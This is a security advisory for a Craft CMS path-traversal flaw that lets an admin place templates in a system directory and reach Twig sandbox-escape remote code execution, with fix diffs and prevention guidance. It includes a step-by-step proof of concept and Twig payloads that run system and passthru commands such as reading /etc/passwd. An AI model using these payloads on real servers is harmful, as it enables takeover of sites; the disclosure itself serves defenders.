GHSA-f3cw-hg6r-chfv CVE-2024-52293

Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

High Packagist

Severity: 0.0 / 10; High · CVSS 4.0
Exploit chance (EPSS): 1.36%; Chance of exploitation in the next 30 days. Higher than 71.68% of scored vulnerabilities.
Known exploited: No; Not in CISA's catalog
Weakness: CWE-22 Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'); CWE-94 Improper Control of Generation of Code ('Code Injection')
Fix: 4.12.2; Upgrade craftcms/cms to this version or later

Description

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start

mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start

Create a new filesystem with base path ../templates/poc

Notice that the poc directory was created

Create a new asset volume using the poc filesystem

Upload a poc.ttml file with RCE template code

{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

ttml

Create a new route * with template poc/poc.ttml

This leads to Remote Code Execution on arbitrary route /*

Remediation

diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Affected versions

Packagist

Package	Vulnerable	Fixed in
craftcms/cms	`>= 4.0.0-RC1, < 4.12.2`	`4.12.2`
craftcms/cms	`>= 5.0.0-RC1, < 5.4.3`	`5.4.3`

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

craftcms/cms Packagist → `4.12.2`

composer

composer require craftcms/cms:^4.12.2

Severity breakdown

CVSS 4.0 0.0

CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P

Attack vector: Network
Attack complexity: Low
Attack requirements: None
Privileges required: High
User interaction: None
Confidentiality (vulnerable system): High
Integrity (vulnerable system): High
Availability (vulnerable system): High
Confidentiality (subsequent systems): None
Integrity (subsequent systems): None
Availability (subsequent systems): None
Exploit maturity: Proof of concept

CVSS 3.1 7.2

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

Attack vector: Network
Attack complexity: Low
Privileges required: High
User interaction: None
Scope: Unchanged
Confidentiality: High
Integrity: High
Availability: High

Weakness

CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')

The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.

How to prevent it

Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. When validating filenames, use stringent allowlists that limit the character set to be used. If feasible, only allow a single "." character in the filename to avoid weaknesses such as CWE-23, and exclude directory separators such as "/" to avoid CWE-36. Use a list of allowable file extensions, which will help to avoid CWE-434. Do not rely exclusively on a filtering mechanism that removes potentially dangerous characters. This is equivalent to a denylist, which may be incomplete (CWE-184). For example, filtering "/" is insufficient protection if the filesystem also supports the use of "\" as a directory separator. Another possible error could occur when the filtering is applied in a way that still produces dangerous data (CWE-182). For example, if "../" sequences are removed from the ".../...//" string in a sequential fashion, two instances of "../" would b
Architecture and Design: For any security checks that are performed on the client side, ensure that these checks are duplicated on the server side, in order to avoid CWE-602. Attackers can bypass the client-side checks by modifying values after the checks have been performed, or by changing the client to remove the client-side checks entirely. Then, these modified values would be submitted to the server.
Implementation: Inputs should be decoded and canonicalized to the application's current internal representation before being validated (CWE-180). Make sure that the application does not decode the same input twice (CWE-174). Such errors could be used to bypass allowlist validation schemes by introducing dangerous inputs after they have been checked. Use a built-in path canonicalization function (such as realpath() in C) that produces the canonical version of the pathname, which effectively removes ".." sequences and symbolic links (CWE-23, CWE-59). This includes: realpath() in C getCanonicalPath() in Java GetFullPath() in ASP.NET realpath() or abs_path() in Perl realpath() in PHP
Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482].
Operation: Use an application firewall that can detect attacks against this weakness. It can be beneficial in cases in which the code cannot be fixed (because it is controlled by a third party), as an emergency prevention measure while more comprehensive software assurance measures are applied, or to provide defense in depth [REF-1481].
Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
Architecture and Design: When the set of acceptable objects, such as filenames or URLs, is limited or known, create a mapping from a set of fixed input values (such as numeric IDs) to the actual filenames or URLs, and reject all other inputs. For example, ID 1 could map to "inbox.txt" and ID 2 could map to "profile.txt". Features such as the ESAPI AccessReferenceMap [REF-185] provide this capability.
Architecture and Design, Operation: Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Architecture and Design, Operation: Store library, include, and utility files outside of the web document root, if possible. Otherwise, store them in a separate directory and use the web server's access control capabilities to prevent attackers from directly requesting them. One common practice is to define a fixed constant in each calling program, then check for the existence of the constant in the library/include file; if the constant does not exist, then the file was directly requested, and it can exit immediately. This significantly reduces the chance of an attacker being able to bypass any protection mechanisms that are in the base program but not in the include files. It will also reduce the attack surface.
Implementation: Ensure that error messages only contain minimal details that are useful to the intended audience and no one else. The messages need to strike the balance between being too cryptic (which can confuse users) or being too detailed (which may reveal more than intended). The messages should not reveal the methods that were used to determine the error. Attackers can use detailed information to refine or optimize their original attack, thereby increasing their chances of success. If errors must be captured in some detail, record them in log messages, but consider what could occur if the log messages can be viewed by attackers. Highly sensitive information such as passwords should never be saved to log files. Avoid inconsistent messaging that might accidentally tip off an attacker about internal state, such as whether a user account exists or not. In the context of path traversal, error messages which disclose path information can help attackers craft the appropriate attack strings to move through the file system hierarchy.
Operation, Implementation: When using PHP, configure the application so that it does not use register_globals. During implementation, develop the application so that it does not rely on this feature, but be wary of implementing a register_globals emulation that is subject to weaknesses such as CWE-95, CWE-621, and similar issues.

CWE-94: Improper Control of Generation of Code ('Code Injection')

The product constructs all or part of a code segment using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the syntax or behavior of the intended code segment.

How to prevent it

Architecture and Design: Refactor your program so that you do not have to dynamically generate code.
Architecture and Design: Run your code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which code can be executed by your product. Examples include the Unix chroot jail and AppArmor. In general, managed code may provide some protection. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of your application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Implementation: Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does. When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue." Do not rely exclusively on looking for malicious or malformed inputs. This is likely to miss at least one undesirable input, especially if the code's environment changes. This can give attackers enough room to bypass the intended validation. However, denylists can be useful for detecting potential attacks or determining which inputs are so malformed that they should be rejected outright. To reduce the likelihood of code injection, use stringent allowlists that limit which constructs are allowed. If you are dynamically constructing code that invokes a function, then verifying that the input is alphanumeric might be insufficient. An attacker might still be able to reference a dangerous function that you did not intend to allow, such as system(), exec(), or exit().
Testing: Use dynamic tools and techniques that interact with the product using large test suites with many diverse inputs, such as fuzz testing (fuzzing), robustness testing, and fault injection. The product's operation may slow down, but it should not become unstable, crash, or generate incorrect results.
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Operation: Run the code in an environment that performs automatic taint propagation and prevents any command execution that uses tainted variables, such as Perl's "-T" switch. This will force the program to perform validation steps that remove the taint, although you must be careful to correctly validate your inputs so that you do not accidentally mark dangerous inputs as untainted (see CWE-183 and CWE-184).
Implementation: For Python programs, it is frequently encouraged to use the ast.literal_eval() function instead of eval, since it is intentionally designed to avoid executing code. However, an adversary could still cause excessive memory or stack consumption via deeply nested structures [REF-1372], so the python documentation discourages use of ast.literal_eval() on untrusted data [REF-1373].

References

Advisories

nvd.nist.gov/vuln/detail/CVE-2024-52293

Packages

github.com/craftcms/cms

Timeline

Nov 13, 2024 Published
Jun 17, 2026 Last updated by the source
Nov 1, 2026 Latest EPSS score

Advisory	Severity	Why it's related
GHSA-7c58-g782-9j38 Craft CMS Contains a Potential Remote Code Execution Vulnerability via Twig SSTI	High	Linked by the source
GHSA-7vrx-9684-xrf2 Craft CMS stores arbitrary content provided by unauthenticated users in session files	Medium Known exploited	Also affects craftcms/cms
GHSA-f3gw-9ww9-jmc3 Craft CMS Allows Remote Code Execution	Critical Known exploited	Also affects craftcms/cms
GHSA-x684-96hh-833x Craft CMS has a potential RCE with a compromised security key	High Known exploited	Also affects craftcms/cms
GHSA-2p6p-9rc9-62j9 Craft CMS has potential RCE when PHP `register_argc_argv` config setting is enabled	Critical Known exploited	Also affects craftcms/cms
GHSA-wg23-69c2-gjc8 Craft CMS: Passkey login accepts replayed WebAuthn assertions	Medium	Also affects craftcms/cms
GHSA-957r-qf9p-67xw Craft CMS: Arbitrary file read via SplFileObject in non-sandboxed template contexts	Medium	Also affects craftcms/cms
GHSA-596p-6jv8-775v Craft CMS: Authenticated leak of secret environment variables	Medium	Also affects craftcms/cms

Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor